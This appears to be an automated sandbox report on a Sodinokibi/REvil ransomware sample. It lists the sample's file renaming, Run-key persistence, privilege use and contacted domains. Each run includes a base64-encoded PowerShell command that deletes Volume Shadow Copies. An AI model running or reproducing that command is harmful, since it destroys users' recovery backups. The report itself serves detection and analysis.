Analysis Overview
SHA256
0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1
Threat Level: Known bad
The file 0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1 was found to be: Known bad.
Malicious Activity Summary
Sodinokibi family
Sodin,Sodinokibi,REvil
Modifies extensions of user files
Adds Run key to start application
Enumerates connected drives
Sets desktop wallpaper using registry
Drops file in Program Files directory
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-01-30 08:04
Signatures
Sodinokibi family
Analysis: behavioral1
Detonation Overview
Submitted
2022-01-30 08:04
Reported
2022-01-30 13:33
Platform
win7-en-20211208
Max time kernel
154s
Max time network
201s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\GroupOut.png => \??\c:\users\admin\pictures\GroupOut.png.4575904rl5 | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\GrantAssert.crw => \??\c:\users\admin\pictures\GrantAssert.crw.4575904rl5 | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\SkipPing.tiff => \??\c:\users\admin\pictures\SkipPing.tiff.4575904rl5 | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\StartUndo.tiff => \??\c:\users\admin\pictures\StartUndo.tiff.4575904rl5 | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\UndoRepair.raw => \??\c:\users\admin\pictures\UndoRepair.raw.4575904rl5 | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File opened for modification | \??\c:\users\admin\pictures\MeasureDebug.tiff | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File opened for modification | \??\c:\users\admin\pictures\StartUndo.tiff | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\MeasureDebug.tiff => \??\c:\users\admin\pictures\MeasureDebug.tiff.4575904rl5 | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\SetRegister.raw => \??\c:\users\admin\pictures\SetRegister.raw.4575904rl5 | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File opened for modification | \??\c:\users\admin\pictures\SkipPing.tiff | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\InitializeSet.raw => \??\c:\users\admin\pictures\InitializeSet.raw.4575904rl5 | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\oXnEn2JlQT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe" | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
Enumerates connected drives
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d62cv1.bmp" | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
Drops file in Program Files directory
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1660 wrote to memory of 1924 | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1660 wrote to memory of 1924 | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1660 wrote to memory of 1924 | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1660 wrote to memory of 1924 | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe
"C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | evergreen-fishing.com | udp |
| JP | 118.27.103.110:443 | evergreen-fishing.com | tcp |
| JP | 118.27.103.110:443 | evergreen-fishing.com | tcp |
| US | 8.8.8.8:53 | mylolis.com | udp |
| US | 104.21.62.250:443 | mylolis.com | tcp |
| US | 104.21.62.250:443 | mylolis.com | tcp |
| US | 8.8.8.8:53 | latribuessentielle.com | udp |
| FR | 188.165.53.185:443 | latribuessentielle.com | tcp |
| US | 8.8.8.8:53 | visiativ-industry.fr | udp |
| FR | 51.68.244.60:443 | visiativ-industry.fr | tcp |
| US | 8.8.8.8:53 | www.visiativ-solutions.fr | udp |
| FR | 51.68.244.60:443 | www.visiativ-solutions.fr | tcp |
| FR | 51.68.244.60:443 | www.visiativ-solutions.fr | tcp |
| US | 8.8.8.8:53 | evologic-technologies.com | udp |
| US | 192.124.249.103:443 | evologic-technologies.com | tcp |
| US | 192.124.249.103:443 | evologic-technologies.com | tcp |
| US | 8.8.8.8:53 | hannah-fink.de | udp |
| DE | 178.254.0.103:443 | hannah-fink.de | tcp |
| US | 8.8.8.8:53 | pferdebiester.de | udp |
| DE | 212.88.144.79:443 | pferdebiester.de | tcp |
| DE | 212.88.144.79:443 | pferdebiester.de | tcp |
| US | 8.8.8.8:53 | atozdistribution.co.uk | udp |
| US | 8.8.8.8:53 | navyfederalautooverseas.com | udp |
| US | 52.20.75.117:443 | navyfederalautooverseas.com | tcp |
| US | 8.8.8.8:53 | rerekatu.com | udp |
| US | 104.21.91.36:443 | rerekatu.com | tcp |
| US | 8.8.8.8:53 | jadwalbolanet.info | udp |
| SG | 112.140.185.123:443 | jadwalbolanet.info | tcp |
| SG | 112.140.185.123:443 | jadwalbolanet.info | tcp |
| US | 8.8.8.8:53 | eco-southafrica.com | udp |
| ZA | 196.22.132.146:443 | eco-southafrica.com | tcp |
| ZA | 196.22.132.146:443 | eco-southafrica.com | tcp |
| US | 8.8.8.8:53 | modestmanagement.com | udp |
| GB | 95.142.155.245:443 | modestmanagement.com | tcp |
| GB | 95.142.155.245:443 | modestmanagement.com | tcp |
| US | 8.8.8.8:53 | sinal.org | udp |
| IT | 46.254.39.27:443 | sinal.org | tcp |
| IT | 46.254.39.27:443 | sinal.org | tcp |
| US | 8.8.8.8:53 | fibrofolliculoma.info | udp |
| US | 45.77.147.229:443 | fibrofolliculoma.info | tcp |
| US | 8.8.8.8:53 | qlog.de | udp |
| DE | 212.53.214.163:443 | qlog.de | tcp |
| DE | 212.53.214.163:443 | qlog.de | tcp |
| US | 8.8.8.8:53 | partnertaxi.sk | udp |
| US | 8.8.8.8:53 | expandet.dk | udp |
| US | 188.114.96.0:443 | expandet.dk | tcp |
| US | 8.8.8.8:53 | ctrler.cn | udp |
| HK | 119.28.133.199:443 | ctrler.cn | tcp |
Files
memory/1660-54-0x00000000754B1000-0x00000000754B3000-memory.dmp
memory/1924-55-0x000007FEFB571000-0x000007FEFB573000-memory.dmp
memory/1924-56-0x0000000002560000-0x0000000002562000-memory.dmp
memory/1924-58-0x0000000002562000-0x0000000002564000-memory.dmp
memory/1924-59-0x0000000002564000-0x0000000002567000-memory.dmp
memory/1924-57-0x000007FEF2780000-0x000007FEF32DD000-memory.dmp
memory/1924-60-0x000000000256B000-0x000000000258A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-01-30 08:04
Reported
2022-01-30 13:33
Platform
win10-en-20211208
Max time kernel
175s
Max time network
201s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\ExitGroup.tif => \??\c:\users\admin\pictures\ExitGroup.tif.68k6919j47 | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\LimitWait.tiff => \??\c:\users\admin\pictures\LimitWait.tiff.68k6919j47 | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| File opened for modification | \??\c:\users\admin\pictures\LimitWait.tiff | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\oXnEn2JlQT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe" | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
Enumerates connected drives
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aqu.bmp" | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
Drops file in Program Files directory
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1164 wrote to memory of 2220 | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1164 wrote to memory of 2220 | N/A | C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe
"C:\Users\Admin\AppData\Local\Temp\0ecb96d743327c4da91708d5db3eabc2de16202ccf2d90738519ebda596586d1.exe"
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | evergreen-fishing.com | udp |
| JP | 118.27.103.110:443 | evergreen-fishing.com | tcp |
| US | 8.8.8.8:53 | mylolis.com | udp |
| US | 104.21.62.250:443 | mylolis.com | tcp |
| US | 8.8.8.8:53 | latribuessentielle.com | udp |
| FR | 188.165.53.185:443 | latribuessentielle.com | tcp |
| US | 8.8.8.8:53 | visiativ-industry.fr | udp |
| FR | 51.68.244.60:443 | visiativ-industry.fr | tcp |
| US | 8.8.8.8:53 | www.visiativ-solutions.fr | udp |
| FR | 51.68.244.60:443 | www.visiativ-solutions.fr | tcp |
| FR | 51.68.244.60:443 | www.visiativ-solutions.fr | tcp |
| US | 8.8.8.8:53 | evologic-technologies.com | udp |
| US | 192.124.249.103:443 | evologic-technologies.com | tcp |
| US | 8.8.8.8:53 | hannah-fink.de | udp |
| DE | 178.254.0.103:443 | hannah-fink.de | tcp |
| US | 8.8.8.8:53 | pferdebiester.de | udp |
| DE | 212.88.144.79:443 | pferdebiester.de | tcp |
| US | 8.8.8.8:53 | www.pferdebiester.de | udp |
| DE | 212.88.144.79:443 | www.pferdebiester.de | tcp |
| DE | 212.88.144.79:443 | www.pferdebiester.de | tcp |
| US | 8.8.8.8:53 | atozdistribution.co.uk | udp |
| US | 8.8.8.8:53 | navyfederalautooverseas.com | udp |
| US | 18.211.101.195:443 | navyfederalautooverseas.com | tcp |
| US | 8.8.8.8:53 | rerekatu.com | udp |
| US | 172.67.209.130:443 | rerekatu.com | tcp |
| US | 8.8.8.8:53 | jadwalbolanet.info | udp |
| SG | 112.140.185.123:443 | jadwalbolanet.info | tcp |
| US | 8.8.8.8:53 | eco-southafrica.com | udp |
| ZA | 196.22.132.146:443 | eco-southafrica.com | tcp |
| US | 8.8.8.8:53 | modestmanagement.com | udp |
| GB | 95.142.155.245:443 | modestmanagement.com | tcp |
| US | 8.8.8.8:53 | sinal.org | udp |
| IT | 46.254.39.27:443 | sinal.org | tcp |
| US | 8.8.8.8:53 | fibrofolliculoma.info | udp |
| US | 45.77.147.229:443 | fibrofolliculoma.info | tcp |
| US | 8.8.8.8:53 | qlog.de | udp |
| DE | 212.53.214.163:443 | qlog.de | tcp |
| US | 8.8.8.8:53 | partnertaxi.sk | udp |
| US | 8.8.8.8:53 | expandet.dk | udp |
| US | 188.114.97.0:443 | expandet.dk | tcp |
| US | 8.8.8.8:53 | ctrler.cn | udp |
| HK | 119.28.133.199:443 | ctrler.cn | tcp |
Files
memory/2220-120-0x000001A5EEB10000-0x000001A5EEB32000-memory.dmp
memory/2220-125-0x000001A5F0CB0000-0x000001A5F0D26000-memory.dmp
memory/2220-126-0x000001A5EEB50000-0x000001A5EEB52000-memory.dmp
memory/2220-127-0x000001A5EEB53000-0x000001A5EEB55000-memory.dmp